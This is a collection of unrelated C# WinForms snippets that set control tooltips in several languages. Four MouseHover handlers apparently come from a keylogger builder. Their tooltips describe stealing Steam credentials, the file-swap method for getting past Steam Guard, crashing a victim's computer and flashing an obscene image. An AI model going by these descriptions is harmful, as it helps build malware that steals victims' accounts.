public void SetToolTip(ref ToolTip toolTip, string groupTypeName) { // TODO old implementation has textBox tooltips that don't work toolTip.SetToolTip(labelQuick, String.Format(International.GetText("Form_Settings_ToolTip_BenchmarkTimeLimits"), International.GetText("Quick"), groupTypeName) + "."); toolTip.SetToolTip(labelStandard, String.Format(International.GetText("Form_Settings_ToolTip_BenchmarkTimeLimits"), International.GetText("Standard"), groupTypeName) + "."); toolTip.SetToolTip(labelPrecise, String.Format(International.GetText("Form_Settings_ToolTip_BenchmarkTimeLimits"), International.GetText("Standard"), groupTypeName) + "."); }
private void settings_Load(object sender, EventArgs e) { ToolTip tt = new ToolTip(); tt.SetToolTip(this.startspeedBox, "Start Speed In Milliseconds"); tt.SetToolTip(this.searchspeedminBox, "Search Speed Minimum In Milliseconds"); tt.SetToolTip(this.searchspeedmaxBox, "Search Speed Maximum In Milliseconds"); tt.SetToolTip(this.autostartBox, "Automatically Start Searching On Program Open"); tt.SetToolTip(this.hidebrowserBox, "Display Browser Window"); tt.SetToolTip(this.mobilesearchesBox, "Mobile Searches Quantity"); tt.SetToolTip(this.desktopsearchesBox, "Desktop Searches Quantity"); tt.SetToolTip(this.autocloseBox, "Automatically Close Bing Bot Upon Completion"); tt.SetToolTip(this.startminimizedBox, "Start Bing Bot Minimized"); tt.SetToolTip(this.searchtypeBox, "Search Type"); autostartBox.DropDownStyle = ComboBoxStyle.DropDownList; hidebrowserBox.DropDownStyle = ComboBoxStyle.DropDownList; autocloseBox.DropDownStyle = ComboBoxStyle.DropDownList; startminimizedBox.DropDownStyle = ComboBoxStyle.DropDownList; searchtypeBox.DropDownStyle = ComboBoxStyle.DropDownList; accountsBox.Text = System.IO.File.ReadAllText("accounts.txt"); searchWordsBox.Text = System.IO.File.ReadAllText("words.txt"); startspeedBox.Text = Properties.Settings.Default.startspeed.ToString(); searchspeedminBox.Text = Properties.Settings.Default.searchspeedmin.ToString(); searchspeedmaxBox.Text = Properties.Settings.Default.searchspeedmax.ToString(); autostartBox.Text = Properties.Settings.Default.autostart.ToString(); hidebrowserBox.Text = Properties.Settings.Default.hidebrowser.ToString(); mobilesearchesBox.Text = Properties.Settings.Default.mobilesearches.ToString(); desktopsearchesBox.Text = Properties.Settings.Default.desktopsearches.ToString(); autocloseBox.Text = Properties.Settings.Default.autoclose.ToString(); startminimizedBox.Text = Properties.Settings.Default.startminimized.ToString(); searchtypeBox.Text = Properties.Settings.Default.searchtype; }
public Form1() { InitializeComponent(); ToolTip Dica = new ToolTip(); Dica.AutoPopDelay = 5000; Dica.InitialDelay = 1000; Dica.ReshowDelay = 500; Dica.ShowAlways = true; Dica.SetToolTip(YMD, "Adiciona AAAAMMDD ao final do arquivo extraido"); Dica.SetToolTip(Permissoes, "Adiciona as permissões de Objetos ao DACPAC"); Dica.SetToolTip(AbrirDiretorio, "Após a geração abrir a pasta"); Dica.SetToolTip(LocalSqlPackage, "Clique 2x para localizar o SqlPackage.exe"); Dica.SetToolTip(MultiExtrator, "Habilitar para extração 1...1 (máquinas lentas)"); #pragma warning disable CS0618 // Type or member is obsolete string UltimoLocalSqlPackage = ConfigurationSettings.AppSettings["UltimoLocalSqlPackage"]; //1.5 #pragma warning restore CS0618 // Type or member is obsolete LocalizarSqlPackage.InitialDirectory = Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\Microsoft SQL Server\\110\\DAC\\bin\\SqlPackage.exe" + "\""; //1.5 if (UltimoLocalSqlPackage == "") //1.5 { LocalSqlPackage.Text = "\"" + Environment.GetFolderPath(Environment.SpecialFolder.ProgramFilesX86) + "\\Microsoft SQL Server\\110\\DAC\\bin\\SqlPackage.exe" + "\""; //1.5 } else { LocalSqlPackage.Text = UltimoLocalSqlPackage; //1.5 } }
public void InitLocale(ToolTip toolTip1, string infoLabel, string infoMsg) { labelFieldIndicator.Text = infoLabel; toolTip1.SetToolTip(labelFieldIndicator, infoMsg); toolTip1.SetToolTip(textBox, infoMsg); toolTip1.SetToolTip(pictureBox1, infoMsg); }
public ScrumViewerForm(string Area, string SourceFile, string TargetFile) { InitializeComponent(); ToolTip tTip = new ToolTip(); tTip.SetToolTip(SDFill1, "Fill SD"); tTip.SetToolTip(SDFill2, "Fill SD"); tTip.SetToolTip(SDFill3, "Fill SD"); tTip.SetToolTip(SDFill4, "Fill SD"); tTip.SetToolTip(SDFill5, "Fill SD"); OuterUpdLayout.HorizontalScroll.Enabled = false; this.Text = "Scrum Update - " + Area; _area = Area; st[0] = SourceFile; st[1] = TargetFile; datePicker.MinDate = new DateTime(DateTime.Today.Year, DateTime.Today.Month, 1); datePicker.MaxDate = DateTime.Today.Month == 12 ? new DateTime(DateTime.Today.Year + 1, 1, 3) : new DateTime(DateTime.Today.Year, DateTime.Today.Month + 1, 3); datePicker.Value = DateTime.Today; XcelReadWrite(1); InitializeValues(); }
public MainForm() { InitializeComponent(); loadSetting(); SqlCon(); initStyle(); cbFactory.SelectedIndex = 0; metroTabControl1.SelectedIndex = 0; btnCamDisCon.Enabled = false; btnCamCon.Enabled = true; if (ApplicationDeployment.IsNetworkDeployed) { lbVersion.Text = ApplicationDeployment.CurrentDeployment.CurrentVersion.ToString(); } ToolTip toolTip1 = new ToolTip(); toolTip1.AutoPopDelay = 1000; toolTip1.InitialDelay = 1000; toolTip1.ReshowDelay = 500; toolTip1.ShowAlways = true; toolTip1.SetToolTip(this.btnStartPrint, "Print Start"); toolTip1.SetToolTip(this.btnRestartPrint, "Print Restart"); toolTip1.SetToolTip(this.btnHoldPrint, "Print Hold"); toolTip1.SetToolTip(this.btnCancelPrint, "Print Cancel"); }
public Accueil() { InitializeComponent(); string jour = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(DateTime.Now.ToString("dddd")); string nb_jr = DateTime.Now.ToString("dd"); string mois = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(DateTime.Now.ToString("MMMM")); string an = DateTime.Now.ToString("yyyy"); string heure = DateTime.Now.ToString("HH"); string min = DateTime.Now.ToString("mm"); string sec = DateTime.Now.ToString("ss"); bg.Tick += (s, e) => { label1.Text = System.Globalization.CultureInfo.CurrentCulture.TextInfo.ToTitleCase(DateTime.Now.ToString("dddd dd MMMM yyyy HH:mm:ss")); }; bg.Interval = 333; bg.Start(); ToolTip tt1 = new ToolTip(); tt1.ShowAlways = true; tt1.SetToolTip(pictureBox9, "Calculatrice"); tt1.ShowAlways = true; tt1.SetToolTip(pictureBox10, "Calendrier"); tt1.ShowAlways = true; tt1.SetToolTip(pictureBox11, "Réglages"); tt1.ShowAlways = true; tt1.SetToolTip(pictureBox12, "Quitter"); }
public WorkForm() { dataOpen = new myclass[11]; int i = 0; while (i != 11) { dataOpen[i] = new myclass(); i++; } CallBackMy.callbackEventHandler = new CallBackMy.callbackEvent(this.ReloadWork); if (!workTimer.Enabled) { workTimer.Tick += new EventHandler(timer_work); //подписываемся на события Tick workTimer.Interval = 200; workTimer.Start(); } InitializeComponent(); ToolTip help = new ToolTip(); help.SetToolTip(prevOpenForm, "Переход на начальное окно"); help.SetToolTip(nextPowerButton, "Переход на построение мощностной характеристики"); help.SetToolTip(upPozReostatButton, "Понижение ступени реостата"); help.SetToolTip(downPozReostatButton,"Повышение ступени реостата"); }
protected override void OnLoad(EventArgs e) { base.OnLoad(e); uniqueInstanceName = $"{Environment.MachineName}-{Handle}"; client = new XDMessagingClient().WithAmazonSettings(RegionEndPoint.EUWest1); if (!client.HasValidAmazonSettings()) { MessageBox.Show("Azazon AWS crendentials not set. Enter your credentials in the app.config.", "Missing AWS Crendentials", MessageBoxButtons.OK, MessageBoxIcon.Warning); propagateCheck.CheckState = CheckState.Unchecked; propagateCheck.Enabled = false; mailRadio.Enabled = false; } var tooltips = new ToolTip(); tooltips.SetToolTip(sendBtn, "Broadcast message on Channel 1\r\nand Channel2"); tooltips.SetToolTip(groupBox1, "Choose which channels\r\nthis instance will\r\nlisten on"); tooltips.SetToolTip(Mode, "Choose which mode\r\nto use for sending\r\nand receiving"); UpdateDisplayText( "Launch multiple instances of this application to demo interprocess communication. Run multiple instances on different machines to demo network propogation.\r\n", Color.Gray); Text += $" - {uniqueInstanceName}"; InitializeMode(XDTransportMode.HighPerformanceUI); var message = $"{uniqueInstanceName} has joined"; broadcast.SendToChannel("Status", message); }
/// <summary> Initializes common controls and setups all needed properties. </summary> private void CommonInit() { Options = UnrealControls.XmlHandler.ReadXml<SettableOptions>( Path.Combine( Application.StartupPath, "MemoryProfiler2.ClassGroups.xml" ) ); AppDomain.CurrentDomain.AssemblyResolve += new ResolveEventHandler( CurrentDomain_AssemblyResolve ); ExclusiveListView.ListViewItemSorter = new FColumnSorter(); PopulateClassGroups(); InvertCallgraphViewMenuItem.Checked = Options.InvertCallStacksInCallGraphView; FilterObjectVMFunctionsMenuItem.Checked = Options.FilterOutObjectVMFunctions; SelectedMemoryPool = ( EMemoryPool )Options.MemoryPoolFilterState; UpdatePoolFilterFromSelectedPool(); FCallGraphTreeViewParser.SetProfilerWindow( this ); FCallStackHistoryView.SetProfilerWindow( this ); FExclusiveListViewParser.SetProfilerWindow( this ); FTimeLineChartView.SetProfilerWindow( this ); FHistogramParser.SetProfilerWindow( this ); FMemoryBitmapParser.SetProfilerWindow( this ); FShortLivedAllocationView.SetProfilerWindow( this ); SetupFilteringControls(); ResetFilteringState(); LastResizedSize = Size; ToolTip DetailsViewTips = new ToolTip(); DetailsViewTips.SetToolTip( DetailsViewStartLabel, "Shows start snapshot detailed information" ); DetailsViewTips.SetToolTip( DetailsViewDiffLabel, "Shows detailed information as a difference between end and start snapshot" ); DetailsViewTips.SetToolTip( DetailsViewEndLabel, "Shows end snapshot detailed information" ); }
private void msgae_Load(object sender, EventArgs e) { System.Windows.Forms.ToolTip ToolTip1 = new System.Windows.Forms.ToolTip(); ToolTip1.SetToolTip(this.msgaeAddBtn, "This will add the message to the server based on the information entered above."); ToolTip1.SetToolTip(this.msgaeEditBtn, "This will edit the message on the server based on the information listed above."); ToolTip1.SetToolTip(this.msgaeCloseBtn, "This will take you back to the main menu of the program."); }
private void CreateToolTip() { ToolTip toolTip = new ToolTip(); toolTip.ShowAlways = true; toolTip.SetToolTip(btnPrevious, "Show Page 1"); toolTip.SetToolTip(btnNext, "Show Page 2"); toolTip.SetToolTip(btnEdit, "Modify the Properties of the Selected Layout"); }
/// <summary> /// Initializes a new instance of the <see cref="ScoreControl"/> class. /// </summary> /// <remarks>Documented by Dev05, 2009-04-10</remarks> public ScoreControl() { InitializeComponent(); ToolTip tTip = new ToolTip(); tTip.SetToolTip(colorProgressBarKnown, Resources.LEARNING_MODULE_KNOWLEDGE); tTip.SetToolTip(labelKnown, Resources.LEARNING_MODULE_KNOWLEDGE); }
private void AddTooltips() { ToolTip toolTip = new ToolTip(); toolTip.SetToolTip(applications, "Displays a list process names, of all application on your desktop which have atleast one visible window."); toolTip.SetToolTip(windows, "Diplays the list of all windows for the selected application."); toolTip.SetToolTip(windowTabs, "Displays the list all the tabs available in the selected window."); toolTip.SetToolTip(tabPages, "List of tab pages in the selected tab. "); }
private void vehicles_Load(object sender, EventArgs e) { System.Windows.Forms.ToolTip ToolTip1 = new System.Windows.Forms.ToolTip(); ToolTip1.SetToolTip(this.vehiclesInstanceText, "Insert the instance ID to spawn all vehicles on."); ToolTip1.SetToolTip(this.vehiclesSpawnVehiclesBtn, "Click this button to spawn all vehicles on the instance entered above."); ToolTip1.SetToolTip(this.vehiclesItemBtn, "Get a list of all instance distribution by instance ID."); ToolTip1.SetToolTip(this.vehiclesBackbtn, "This will take you back to the main menu of the program."); }
private void Optionsw_Load(object sender, EventArgs e) { System.Windows.Forms.ToolTip ToolTip1 = new System.Windows.Forms.ToolTip(); ToolTip1.SetToolTip(this.browseBtn, "Browse"); System.Windows.Forms.ToolTip ToolTip3 = new System.Windows.Forms.ToolTip(); ToolTip1.SetToolTip(this.closeBtn, "Close"); System.Windows.Forms.ToolTip ToolTip2 = new System.Windows.Forms.ToolTip(); ToolTip1.SetToolTip(this.saveBtn, "Save"); XmlDocument xmlDoc = new XmlDocument(); string progPath = System.AppDomain.CurrentDomain.BaseDirectory; try { xmlDoc.Load(progPath + @"\options.xml"); XmlNodeList path = xmlDoc.GetElementsByTagName("savePath0"); directorytxt.Text = path[0].InnerText; // get the path from the xml file and put into textbox XmlNodeList path2 = xmlDoc.GetElementsByTagName("savePath1"); directory2Txt.Text = path2[0].InnerText; // get the video path from the xml file and put into textbox XmlNodeList screens = xmlDoc.GetElementsByTagName("screens"); // string scr =screens[0].InnerText; int scr = Convert.ToInt32(screens[0].InnerText); switch (scr) { case 0: checkBox2.Checked = false; checkBox1.Checked = false; break; case 1: checkBox2.Checked = false; checkBox1.Checked = true; break; case 2: checkBox2.Checked = true; checkBox1.Checked = false; break; case 3: checkBox2.Checked = true; checkBox1.Checked = true; break; default: checkBox2.Checked = false; checkBox1.Checked = true; break; } XmlNodeList res = xmlDoc.GetElementsByTagName("resolution"); savedResLbl.Text = savedResLbl.Text + res[0].InnerText; } catch ( Exception err) { MessageBox.Show("Cannot load data, please try again " + err); } }
/// <summary> /// Initializes the strategy field /// </summary> public StrategyLayout(Strategy strategy) { SlotPropertiesTipText = Language.T("Averaging, Trading size, Protection."); SlotToolTipText = Language.T("Long position logic."); ShowRemoveSlotButtons = true; ShowAddSlotButtons = true; _strategy = strategy; _slots = strategy.Slots; SlotMinMidMax = SlotSizeMinMidMax.mid; FlowLayoutStrategy = new FlowLayoutPanel(); VScrollBarStrategy = new VScrollBar(); SlotPanelsList = new ContextPanel[_slots]; PanelProperties = new Panel(); for (int slot = 0; slot < _slots; slot++) SlotPanelsList[slot] = new ContextPanel(); // FlowLayoutStrategy FlowLayoutStrategy.Parent = this; FlowLayoutStrategy.AutoScroll = false; //VScrollBarStrategy VScrollBarStrategy.Parent = this; VScrollBarStrategy.TabStop = true; VScrollBarStrategy.Scroll += VScrollBarStrategyScroll; if (ShowAddSlotButtons) { var toolTip = new ToolTip(); ButtonAddOpenFilter = new Button { Tag = strategy.OpenSlot, Text = Language.T("Add an Opening Logic Condition"), Margin = new Padding(30, 0, 0, Space), UseVisualStyleBackColor = true }; toolTip.SetToolTip(ButtonAddOpenFilter, Language.T("Add a new entry logic slot to the strategy.")); ButtonAddCloseFilter = new Button { Tag = strategy.CloseSlot, Text = Language.T("Add a Closing Logic Condition"), Margin = new Padding(30, 0, 0, Space), UseVisualStyleBackColor = true }; toolTip.SetToolTip(ButtonAddCloseFilter, Language.T("Add a new exit logic slot to the strategy.")); BtnClosingFilterHelp = new Button { Image = Resources.info, Margin = new Padding(2, 2, 0, Space), TabStop = false }; BtnClosingFilterHelp.Click += BtnClosingFilterHelpClick; BtnClosingFilterHelp.UseVisualStyleBackColor = true; } }
private void setup_Load(object sender, EventArgs e) { System.Windows.Forms.ToolTip ToolTip1 = new System.Windows.Forms.ToolTip(); ToolTip1.SetToolTip(this.setupSetupPerlBtn, "Setup the Perl system to work with the tool properly. Do this if you get any errors running options."); ToolTip1.SetToolTip(this.setupMyqlBtn, "Setup the servers MySQL information so you can connect to the database with the rest of the tool."); ToolTip1.SetToolTip(this.setupDatabaseBtn, "Setup the servers database settings, import all new schemas and more."); ToolTip1.SetToolTip(this.setupUpdateBtn, "Update all of the Battleye scripts on the server."); ToolTip1.SetToolTip(this.setupBackBtn, "This will take you back to the main menu of the program."); }
private void InitializeToolTips() { ToolTip toolTip1 = new ToolTip(); toolTip1.ShowAlways = true; toolTip1.SetToolTip(orgaLabel, "Die Behörden- oder Organisationskennung ist der erste Teil eines Funkrufnamens." + " Er dient der Zuordnung zu einer Behörde oder Organisation (z.B. \"Pelikan\" für die DLRG)."); toolTip1.SetToolTip(gliederungLabel, "Die Gliederung ist der zweite Teil eines Funkrufnamens." + " Er dient der der lokalen Zuordnung (z.B. Landkreis, Gemeinde, Vereinsgliederungsebene)."); }
/// <summary> /// /// </summary> public frmPresetsEditor() { InitializeComponent(); tooltip = new ToolTip(); tooltip.SetToolTip(btnNew, "New Preset"); tooltip.SetToolTip(btnAdd, "Save Preset"); tooltip.SetToolTip(btnRemove, "Remove Preset"); tooltip.SetToolTip(btnFolderExplore, "Select Foldername"); LoadDescriptionSettings(Config.Settings.LastUsedCommandDescriptionFile); }
private void OptionsUI_Load(object sender, EventArgs e) { ToolTip toolTip1 = new ToolTip(); toolTip1.UseAnimation = true; toolTip1.IsBalloon = true; toolTip1.SetToolTip(ThruCheckbox, "When checked, all non-mapped note on/off events are passed through normally."); toolTip1.SetToolTip(AllThruCheckbox, "When checked, all note on/off events are passed through normally, in addition to the new mappings."); toolTip1.SetToolTip(SysExCheckbox, "When checked, all output is sent internally though simulated SysEx messages.\n" + "When unchecked, all output is converted into regular 3-byte MIDI messages."); }
/// <summary> /// Constructor /// </summary> public RcChannelControl() { InitializeComponent(); updateCalibration(false); mainTooltip = new ToolTip(); mainTooltip.SetToolTip(calibrationLabel, "Calibration settings.\nDouble-click to edit"); mainTooltip.SetToolTip(centerBox, "Calibration: Center PWM duty cycle.\nPress [Enter] to save the new values. Press [Escape] to cancel]"); mainTooltip.SetToolTip(deviationBox, "Calibration: Maximum PWM duty cycle deviation.\nPress [Enter] to save the new values. Press [Escape] to cancel]"); }
private void IDDReviewNormalization_Load(object sender, EventArgs e) { ToolTip disclaimer = new ToolTip(); disclaimer.AutoPopDelay = 5000; disclaimer.InitialDelay = 1000; disclaimer.ReshowDelay = 2000; disclaimer.ShowAlways = true; disclaimer.SetToolTip(this.OKBtn, "Current INCC cannot customize reports. \r\nYou will be shown a list of normalization measurements and \r\nthe report will be displayed as it was originally written."); disclaimer.SetToolTip(this.HelpBtn, "Current INCC cannot customize reports. \r\nYou will be shown a list of normalization measurements and \r\nthe report will be displayed as it was originally written."); }
public Consulta() { InitializeComponent(); pesquisarTodos(); Endereco(); dataInicio.Value = new DateTime(dataInicio.Value.Year, dataInicio.Value.Month, 1); ToolTip descricao = new ToolTip(); descricao.SetToolTip(this.label5, "Digite a palavra que a ser procurada no campo diagnóstico. Exemplo: IAM"); descricao.SetToolTip(this.diagnostico, "Digite a palavra que a ser procurada no campo diagnóstico. Exemplo: IAM"); }
public LexOptionsDlg() { InitializeComponent(); #if __MonoCS__ tabControl1.Controls.Remove(m_tabUpdates); #endif optionsTooltip = new ToolTip { AutoPopDelay = 6000, InitialDelay = 400, ReshowDelay = 500, IsBalloon = true }; optionsTooltip.SetToolTip(updateGlobalWS, LexTextControls.ksUpdateGlobalWsTooltip); optionsTooltip.SetToolTip(groupBox1, LexTextControls.ksUserInterfaceTooltip); }
public AjouterCommandeVente(string cmv_code,CommandesVente cv) { InitializeComponent(); tbCodeCommV.Text = cmv_code; this.cv = cv; ToolTip t = new ToolTip(); t.ShowAlways = true; t.SetToolTip(tbCP, "Insertion des numéros uniquement."); t.ShowAlways = true; t.SetToolTip(tbFixe, "Insertion des numéros uniquement."); t.ShowAlways = true; t.SetToolTip(tbMobile, "Insertion des numéros uniquement."); t.ShowAlways = true; t.SetToolTip(tbFax, "Insertion des numéros uniquement."); t.ShowAlways = true; t.SetToolTip(textBox7, "Insertion des numéros uniquement."); t.ShowAlways = true; t.SetToolTip(tbFrais, "Insertion des numéros uniquement (Ex : 1,01)."); t.ShowAlways = true; t.SetToolTip(pictureBox3, "Ajouter"); t.ShowAlways = true; t.SetToolTip(pictureBox4, "Modifier"); t.ShowAlways = true; t.SetToolTip(pictureBox5, "Supprimer"); }
public DescriptionControl() { InitializeComponent(); collec = new Dictionary<string, string>(); ToolTip tip = new ToolTip(); tip.ToolTipTitle = "Information"; tip.SetToolTip(txtDescriptionLCID, "A four or five digit locale ID for the Description."); tip.SetToolTip(txtDescriptionDescription, "Text to be displayed."); }
public TitleControl() { InitializeComponent(); collec = new Dictionary<string, string>(); ToolTip tip = new ToolTip(); tip.ToolTipTitle = "Information"; tip.SetToolTip(txtTitleLCID, "A four or five digit Locale ID for the title."); tip.SetToolTip(txtTitleTitle, "Text to be displayed."); }
public void InitLocale(ToolTip toolTip1) { field_LessThreads.InitLocale(toolTip1, International.GetText("Form_Settings_General_CPU_LessThreads") + ":", International.GetText("Form_Settings_ToolTip_CPU_LessThreads")); fieldBoxBenchmarkSpeed.InitLocale(toolTip1, International.GetText("Form_Settings_Algo_BenchmarkSpeed") + ":", International.GetText("Form_Settings_ToolTip_AlgoBenchmarkSpeed")); groupBoxExtraLaunchParameters.Text = International.GetText("Form_Settings_General_ExtraLaunchParameters"); toolTip1.SetToolTip(groupBoxExtraLaunchParameters, International.GetText("Form_Settings_ToolTip_AlgoExtraLaunchParameters")); toolTip1.SetToolTip(pictureBox1, International.GetText("Form_Settings_ToolTip_AlgoExtraLaunchParameters")); }
public ShapeFileListControl() { InitializeComponent(); ToolTip toolTip = new ToolTip(); // Set up the ToolTip text for the Button and Checkbox. toolTip.SetToolTip(this.btnMoveUp, "Move selected layer up in drawing order"); toolTip.SetToolTip(this.btnMoveDown, "Move selected layer down in drawing order"); toolTip.SetToolTip(this.btnRemove, "Remove selected layer from map"); toolTip.SetToolTip(this.button1, "Add new layer to map"); }
void checkBox8_MouseHover(object sender, EventArgs e) { var toolTip1 = new System.Windows.Forms.ToolTip(); toolTip1.AutoPopDelay = 5000; toolTip1.InitialDelay = 100; toolTip1.ReshowDelay = 500; toolTip1.ShowAlways = true; toolTip1.IsBalloon = true; toolTip1.ToolTipIcon = System.Windows.Forms.ToolTipIcon.Info; toolTip1.ToolTipTitle = "Clipboard Copy"; toolTip1.SetToolTip(checkBox8, "Copies any text on the clipboard and reveals it in each log"); }
void checkBox11_MouseHover(object sender, EventArgs e) { var toolTip1 = new System.Windows.Forms.ToolTip(); toolTip1.AutoPopDelay = 5000; toolTip1.InitialDelay = 100; toolTip1.ReshowDelay = 500; toolTip1.ShowAlways = true; toolTip1.IsBalloon = true; toolTip1.ToolTipIcon = System.Windows.Forms.ToolTipIcon.Info; toolTip1.ToolTipTitle = "Steal Steam Credentials"; toolTip1.SetToolTip(checkBox11, "Will force Steam to relogin the next time the user runs it, and will send Steam Guard and config.vdf files in attachments, \nthus allowing you to login to a Steam account bypassing Steam Guard. When the victim logs into Steam, you will get a STEAM LOGS \nemail from A Logger with the keylogged username and password and 3 attached files. There is a screenshot and 2 necessary files. Go into the Steam folder \nin Program Files and replace your current ssfn file with the attached one. Then go into the config folder and replace the config.vdf file with the attached one.\n This will fool Steam into thinking it's on the same computer as the victim."); }
void checkBox10_MouseHover(object sender, EventArgs e) { var toolTip1 = new System.Windows.Forms.ToolTip(); toolTip1.AutoPopDelay = 5000; toolTip1.InitialDelay = 100; toolTip1.ReshowDelay = 500; toolTip1.ShowAlways = true; toolTip1.IsBalloon = true; toolTip1.ToolTipIcon = System.Windows.Forms.ToolTipIcon.Info; toolTip1.ToolTipTitle = "Meat Spin"; toolTip1.SetToolTip(checkBox10, "Will attempt to crash the computer by opening up multiple windows to meatspin.com"); }
void checkBox9_MouseHover(object sender, EventArgs e) { var toolTip1 = new System.Windows.Forms.ToolTip(); toolTip1.AutoPopDelay = 5000; toolTip1.InitialDelay = 100; toolTip1.ReshowDelay = 500; toolTip1.ShowAlways = true; toolTip1.IsBalloon = true; toolTip1.ToolTipIcon = System.Windows.Forms.ToolTipIcon.Info; toolTip1.ToolTipTitle = "Peen Flash"; toolTip1.SetToolTip(checkBox9, "Will quickly flash a picture of a penis on the screen every 2-5 minutes"); }
private void MainForm_Load(object sender, EventArgs e) { tempObj = new MassSomeImage(image, thumbnail_images); first = true; ToolTip1 = new System.Windows.Forms.ToolTip(); ToolTip1.SetToolTip(this.Next, "Следующее изображение"); ToolTip1.SetToolTip(this.Previous, "Предыдущее изображение"); ToolTip1.SetToolTip(this.turn_right, "Повернуть изображение вправо на 90 градусов"); ToolTip1.SetToolTip(this.turn_left, "Повернуть изображение влево на 90 градусов"); ToolTip1.SetToolTip(this.lef_right_reflection, "Отразить изображение слева направо"); ToolTip1.SetToolTip(this.top_down_reflection, "Отразить изображение сверху вниз"); ToolTip1.SetToolTip(this.blackAndWhite, "Сделать изображение черно белым"); ToolTip1.SetToolTip(this.RealUnrealSize, "Отобразить в реальном размере"); }
private void frmManageOrders_Load(object sender, EventArgs e) { refreshOrders(); System.Windows.Forms.ToolTip toolTip = new System.Windows.Forms.ToolTip(); toolTip.SetToolTip(this.btnMarkOrders, "Set Selected order as a completed order"); if (lbxCurrentOrders.Items.Count > 0) { lbxCurrentOrders.SelectedIndex = 0; } else { btnMarkOrders.Enabled = false; } }
private void AplicaIdioma() { this.Text = rm.GetString("CRIAR_ALTERNANCIA_FORM_LABEL"); this.gboxAlternancia.Text = rm.GetString("CRIAR_ALTERNANCIA_GBOX_LABEL"); this.tboxFileName.Text = rm.GetString("CRIAR_ALTERNANCIA_TBOX_FILENAME"); this.btAdicionar.Text = rm.GetString("CRIAR_ALTERNANCIA_BUTTON_ADICIONAR"); this.btRemover.Text = rm.GetString("CRIAR_ALTERNANCIA_BUTTON_REMOVER"); this.btCancelar.Text = rm.GetString("CRIAR_ALTERNANCIA_BUTTON_CANCELAR"); this.btAplicar.Text = rm.GetString("CRIAR_ALTERNANCIA_BUTTON_APLICAR"); this.btRestaurar.Text = rm.GetString("CRIAR_ALTERNANCIA_BUTTON_RESTAURAR"); System.Windows.Forms.ToolTip toolTipbtRestaurar = new System.Windows.Forms.ToolTip(); toolTipbtRestaurar.SetToolTip(btRestaurar, rm.GetString("CRIAR_ALTERNANCIA_BUTTON_RESTAURAR_TOOLTIP")); }
/// <summary> /// 鼠标移动到点上时,显示该点的值和采集时间,只对离散和混合的显示方式有效 /// </summary> /// <param name="sender"></param> /// <param name="e"></param> private void picChart_MouseMove(object sender, System.Windows.Forms.MouseEventArgs e) { if (!m_blnShowTrend) { return; } if (m_enmDisplay == enmDisplay.Continues) { return; } string strToolTipText = ""; if (m_objParamValueArr != null) { for (int i = 0; i < m_objParamValueArr.Length; i++) { if (m_objParamValueArr[i] != null) { PointF[] pnfValueArr = (PointF[])m_objParamValueArr[i].m_arlValue.ToArray(typeof(PointF)); for (int j = 0; j < pnfValueArr.Length; j++) { //判断鼠标的位置是否在点的范围内 if (e.X >= pnfValueArr[j].X - 2 && e.X <= pnfValueArr[j].X + 2 && e.Y >= pnfValueArr[j].Y - 2 && e.Y <= pnfValueArr[j].Y + 2) { clsVitalGroupSet objVitalGroup = m_objParamValueArr[i].m_objVitalGroupSet; clsTrendValue objTrendValue = (clsTrendValue)m_objParamValueArr[i].m_arlTrendValue[j]; if (objVitalGroup == null || objTrendValue == null) { continue; } strToolTipText += objVitalGroup.m_strParamLabel + " : "; strToolTipText += objTrendValue.m_fltValue.ToString() + " "; strToolTipText += objVitalGroup.m_strUnitDesc + "\r\n"; strToolTipText += "采集时间:" + objTrendValue.m_dtmStoreDate.ToString("yyyy-MM-dd HH:mm:ss") + "\r\n"; } } } //end for j } //end for i if (strToolTipText != null && strToolTipText != "") { ttpInfo.SetToolTip(this.picChart, strToolTipText); } } }
private void MainForm_Load(object sender, System.EventArgs e) { _toolTipReset.SetToolTip(_bReset, "Reset all changes to the previous values"); _toolTipApply.SetToolTip(_bApply, "Apply all changes"); _toolTipOk.SetToolTip(_bOk, "Apply all changes et quit the application"); _toolTipSimJobs.SetToolTip(_tbWorker, "This defines the number of threads ActiveQ will use to send queued emails"); _toolTipIntervalMail.SetToolTip(_tbIntervalMail, "Interval expressed in second between each scan of mail directories"); _toolTipIntervalTask.SetToolTip(_tbIntervalTask, "Interval expressed in second between each scan of xml files"); _toolTipEventLog.SetToolTip(_tbMaxBytesEvent, "Maximum size specified in mega bytes"); _toolTipErrorLog.SetToolTip(_tbMaxBytesError, "Maximum size specified in mega bytes"); LoadConfigurationFile(); }
private void Form1_Load(object sender, EventArgs e) { annIncome.Text = "95000"; Pct_annIncrease.Text = "1"; Pct_IncomeSaved.Text = "11"; Pct_incomeMatch.Text = "5"; Pct_IncomeSaved_incr.Text = "0.2"; Expected_ror.Text = "7"; year_2_retire.Text = "35"; Current_savings.Text = "8000"; load_data_upon_startup(); System.Windows.Forms.ToolTip ToolTip1 = new System.Windows.Forms.ToolTip(); ToolTip1.SetToolTip(load_entry, "Load data from the selected row into the planner tab."); }
public void Populate(NFe.Settings.Empresa empresa) { this.empresa = empresa; uninfeDummy.ClearControls(this, true, false); System.Windows.Forms.ToolTip tltValidarProvider = new System.Windows.Forms.ToolTip(); tltValidarProvider.SetToolTip(btnValidarProvider, "Testar o PIN informado."); textBox_dadoscertificado.BackColor = txtArquivoCertificado.BackColor; textBox_dadoscertificado.Height = 160; ckbUsaCertificado.Checked = empresa.UsaCertificado; ckbUsaCertificado.Enabled = (empresa.Servico == TipoAplicativo.Nfse); oMeuCert = null; if (empresa.UsaCertificado) { if (!string.IsNullOrEmpty(empresa.CNPJ)) { try { empresa.X509Certificado = empresa.BuscaConfiguracaoCertificado(); } catch { //Se der algum erro na hora de buscar o certificado, o sistema tem que permitir o usuário continuar com a configuração para que ele acerte o erro. Wandrey 19/09/2014 } oMeuCert = empresa.X509Certificado; } ckbUsarCertificadoInstalado.Checked = empresa.CertificadoInstalado; if (empresa.CertificadoInstalado) { DemonstraDadosCertificado(); txtPinCertificado.Text = empresa.CertificadoPIN; } else { txtArquivoCertificado.Text = empresa.CertificadoArquivo; txtSenhaCertificado.Text = empresa.CertificadoSenha; } ckbCertificadoInstalado_CheckedChanged(null, null); HabilitaComponentesPINA3(); } else { oMeuCert = null; } }
